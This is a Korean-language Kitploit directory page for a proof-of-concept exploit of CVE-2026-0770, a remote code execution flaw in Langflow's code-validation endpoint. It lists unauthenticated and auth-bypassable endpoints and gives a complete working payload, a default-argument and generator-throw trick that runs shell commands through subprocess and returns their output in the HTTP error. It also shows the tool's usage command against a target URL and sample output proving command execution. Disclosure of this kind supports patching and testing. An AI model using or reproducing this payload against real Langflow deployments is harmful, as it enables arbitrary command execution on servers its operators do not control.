Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-0770-PoC — # CVE-2026-0770 개념 증명 - Langflow 원격 코드 실행 | Kitploit
도구/GitHubGitHub/affix/cve-2026-0770-poc
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRemote Access Trojan
GitHubaffix/cve-2026-0770-poc

CVE-2026-0770-PoC

# CVE-2026-0770 개념 증명 - Langflow 원격 코드 실행

저장소 보기
6186개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-0770 - Langflow 원격 코드 실행

요약

Langflow에는 src/lfx/src/lfx/custom/validate.py에 위치한 validate_code() 함수에 치명적인 원격 코드 실행 취약점이 존재합니다. 이 함수는 샌드박싱 없이 사용자가 제공한 Python 코드를 실행하기 위해 exec()를 사용하므로, 서버에서 임의의 명령 실행이 가능합니다.

영향을 받는 버전

  • Langflow 최신 버전 (2026년 2월 7일 기준)

기타 CVE

관련 함수 및 엔드포인트에서 유사한 취약점이 확인되었습니다:

  • CVE-2026-0772
  • CVE-2026-0771
  • CVE-2026-0769
  • CVE-2026-0768
  • CVE-2026-0767

취약점 세부 정보

validate_code() 함수는 사용자가 제공한 코드를 파싱하고 exec()를 사용하여 함수 정의를 실행합니다:

root@kitploit:~
# validate.py:66
for node in tree.body:
    if isinstance(node, ast.FunctionDef):
        code_obj = compile(ast.Module(body=[node], type_ignores=[]), "<string>", "exec")
        exec(code_obj, exec_globals)  # <-- 임의 코드 실행

exec_globals 컨텍스트에는 importlib 및 Python 내장 함수에 대한 접근 권한이 포함되어 있어, 공격자가 위험한 모듈(os, subprocess, socket)을 가져와 임의의 시스템 명령을 실행할 수 있습니다.

취약한 엔드포인트

엔드포인트인증공격 벡터
POST /api/v1/validate/code필요*직접 코드 제출
POST /api/v1/custom_component필요*컴포넌트 정의 내 코드
POST /api/v1/custom_component/update필요*컴포넌트 업데이트 내 코드
POST /api/v1/webhook/{flow_id}없음코드 컴포넌트가 포함된 플로우
POST /api/v1/build_public_tmp/{flow_id}/flow없음공개 플로우 실행

* AUTO_LOGIN=true(기본 구성)일 때 인증을 우회할 수 있습니다.

기타 취약한 함수

validate.py의 다음 함수들도 안전하지 않은 exec()를 사용합니다:

함수라인설명
validate_code()66사용자 코드 검증
eval_function()140함수 문자열 평가
execute_function()182임의 함수 실행
create_function()227코드에서 함수 생성
create_class()241-442prepare_global_scope() 및 build_class_constructor()를 통해 클래스 생성

악용 방법

생성기 throw 트릭

validate_code() 함수는 함수 정의만 실행하고 함수 호출은 실행하지 않습니다. 출력을 외부로 유출하면서 코드를 실행하기 위해 Python의 기본 인자 평가 순서를 악용합니다.

핵심 포인트: 기본 인자 표현식은 함수가 호출될 때가 아니라 함수 정의 시점에 평가됩니다.

root@kitploit:~
def foo(x=print("I execute immediately")):
    pass

그러나 HTTP 응답을 통해 출력을 외부로 유출해야 합니다. 엔드포인트는 응답 본문에 오류를 반환하므로, 출력을 포함한 예외를 발생시켜야 합니다.

문제: raise는 표현식이 아닌 문(statement)이므로 기본 인자에서 직접 사용할 수 없습니다.

해결책: 생성기의 .throw() 메서드를 사용합니다. 이 메서드는 예외를 발생시키며 표현식입니다:

root@kitploit:~
(_ for _ in ()).throw(Exception("output here"))

이 코드는 빈 생성기를 만들고 즉시 예외를 발생시킵니다. 명령 출력을 캡처하기 위해 람다와 결합합니다:

root@kitploit:~
def exploit(
    _=(lambda r: (_ for _ in ()).throw(Exception(f"OUTPUT:\n{r.stdout}")))(
        __import__('subprocess').run("id", shell=True, capture_output=True, text=True)
    )
):
    pass

실행 흐름:

  1. exec()가 함수 정의를 실행합니다.
  2. 기본 인자 _=...가 즉시 평가됩니다.
  3. subprocess.run()이 명령을 실행합니다.
  4. 람다가 결과를 받아 생성기 .throw()를 호출합니다.
  5. 명령 출력과 함께 예외가 발생합니다.
  6. validate_code()가 이를 포착하고 응답에 오류를 반환합니다.

사용법

root@kitploit:~
python poc.py --target http://localhost:7860 -c "id && whoami && hostname"

옵션

플래그설명
-t, --target대상 URL (필수)
-c, --command실행할 명령 (기본값: id && whoami)
-k, --tokenJWT 토큰 (선택 사항, 기본적으로 자동 로그인 사용)

예제 출력 (Docker 컨테이너 langflowai/langflow:latest - 2026년 2월 7일 기준)

root@kitploit:~
[*] Target: http://localhost:7860
[*] Attempting auto-login (default config)...
[+] Auto-login successful!
[*] Executing: id && whoami && hostname
[+] Status: 200
[+] Output:
uid=1000(user) gid=0(root) groups=0(root)
user
53977c93d567

참고 자료

  • Langflow GitHub: https://github.com/langflow-ai/langflow
  • 취약한 파일: src/lfx/src/lfx/custom/validate.py
도구 다운로드